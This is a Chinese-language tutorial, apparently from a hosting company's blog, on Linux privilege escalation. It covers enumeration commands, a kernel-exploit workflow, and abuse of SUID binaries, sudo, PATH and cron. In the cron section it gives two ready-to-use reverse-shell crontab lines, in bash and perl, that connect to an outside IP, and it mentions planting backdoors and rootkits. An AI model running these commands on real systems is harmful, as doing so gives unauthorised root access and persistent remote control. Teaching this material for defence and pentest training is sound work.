您好,登錄后才能下訂單哦!
這篇文章主要講解了“linux提權指的是什么”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“linux提權指的是什么”吧!
提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限;Linux提權一般是指獲取root用戶權限的操作過程。Linux提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況;提權是否成功的關鍵是信息收集是否完整。
提權是什么
提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限。
詳細來說,就是指利用操作系統或應用軟件中的程序漏洞、設計缺陷或配置疏忽來獲取對應用程序或用戶來說受保護資源的高級訪問權限。其結果是,應用程序可以獲取比應用程序開發者或系統管理員預期的更高的特權,從而可以執行授權的動作。
Linux提權一般是指獲取root用戶權限的操作過程。
Linux提權目的
提權操作有風險為什么還要進行提權?什么情況下需要進行提權?獲取高權限之后可以做什么?
通過命令執行漏洞獲取的一個反彈shell或是通過Web漏洞獲取了一個Webshell后,一般情況下權限都較低。在執行一些重要敏感的操作或是對重要的文件進行修改時無法正常進行,便需要進行提權。Linux中安裝的數據庫、中間件等一般都不是以root用戶啟動的,通過數據庫或是中間件獲取到的權限是是低權限的。
獲取一個root權限是每一個黑客的夢想。
讀取寫入服務器中的重要文件:
修改root密碼
替換系統命令
在系統中放置更為隱蔽的后門:
ping后門
Rootkit
保證服務器重啟之后權限仍在:
內存后門
Linux提權本質
Linux提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況。
Linux信息收集
任何提權的第一步操作一定是對操作系統進行信息收集。提權是否成功的關鍵是信息收集是否完整。
內核設備信息:
uname -a 打印所有可用的系統信息
uname -r 內核版本
uname -n 系統主機名。
uname -m 查看系統內核架構(64位/32位)
hostname 系統主機名
cat /proc/version 內核信息
cat /etc/*-release 分發信息
cat /etc/issue 分發信息
cat /proc/cpuinfo CPU信息
用戶和群組信息:
cat /etc/passwd 列出系統上的所有用戶
cat /etc/group 列出系統上的所有組
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級用戶賬戶
whoami 查看當前用戶
w 誰目前已登錄,他們正在做什么
last 最后登錄用戶的列表
lastlog 所有用戶上次登錄的信息
lastlog -u %username% 有關指定用戶上次登錄的信息
lastlog |grep -v "Never" 以前登錄用戶的信息
用戶和權限信息:
whoami 當前用戶名
id 當前用戶信息
cat /etc/sudoers 誰被允許以root身份執行
sudo -l 當前用戶可以以root身份執行操作
環境系統變量信息:
env 顯示環境變量
set 現實環境變量
echo %PATH 路徑信息
history 顯示當前用戶的歷史命令記錄
pwd 輸出工作目錄
cat /etc/profile 顯示默認系統變量
cat /etc/shells 顯示可用的shell
內核漏洞提權指的是普通用戶訪問操作系統內核,利用內核漏洞將權限提高為root權限,一般首先需要知曉操作系統的內核,內核的版本等信息,再尋找內核漏洞的EXP進行提權
linux常用查看系統信息命令
uname -a 查看系統全部信息
uname -r 查看內核版本
cat /proc/version 查看內核信息
cat /etc/*-realease 查看CentOS版本
cat /etc/issue 查看Ubuntu版本
cat /etc/redhat-release 查看RedHat版本
env 查看環境變量
echo $PATH 查看當前環境變量
awk -F: '($3==0){print $1}' /etc/passwd 查找UID為0的用戶
find / -user root -perm -4000 -exec ls -ldb {} \; 查找設置了SUID的文件
例子:
1)查看系統的內核版本
2)使用kali的searchsploit尋找對應的內核漏洞或網上尋找相應的內核漏洞
3)使用gcc將C語言程序編譯成可執行文件,上傳至靶機,執行即可提權至root權限
1、計劃任務提權
利用原理:
當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
這樣彈shell的時候不知道為什么很慢,耐心等等
*/1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、利用SUID提權
SUID概念:SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那么我們運行該文件的時候就得獲得root用戶的身份了。那么,為什么要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。
SUID提權:什么是suid提權呢?一個文件,它有s標志,并且他輸入root,那么我們運行這個程序就可以有了root的權限,并且這個程序還得能執行命令,那么我們就能從普通用戶提升到了root權限了。
在本地查找符合條件的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
常見的可以提權的程序
nmap vim find Bash More Less Nano cp netcat
3、利用SUDO提權
Linux系統中可以使用sudo執行一個只有root才能執行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出當前用戶支持sudo的命令。
盡量從代碼層面進行對漏洞的分析。
4、環境變量提權
查看當前環境變量:
echo $PATH
5、root權限運行的服務
以root的運行的服務,其中包括第三方軟件都可以進行提權。
感謝各位的閱讀,以上就是“linux提權指的是什么”的內容了,經過本文的學習后,相信大家對linux提權指的是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。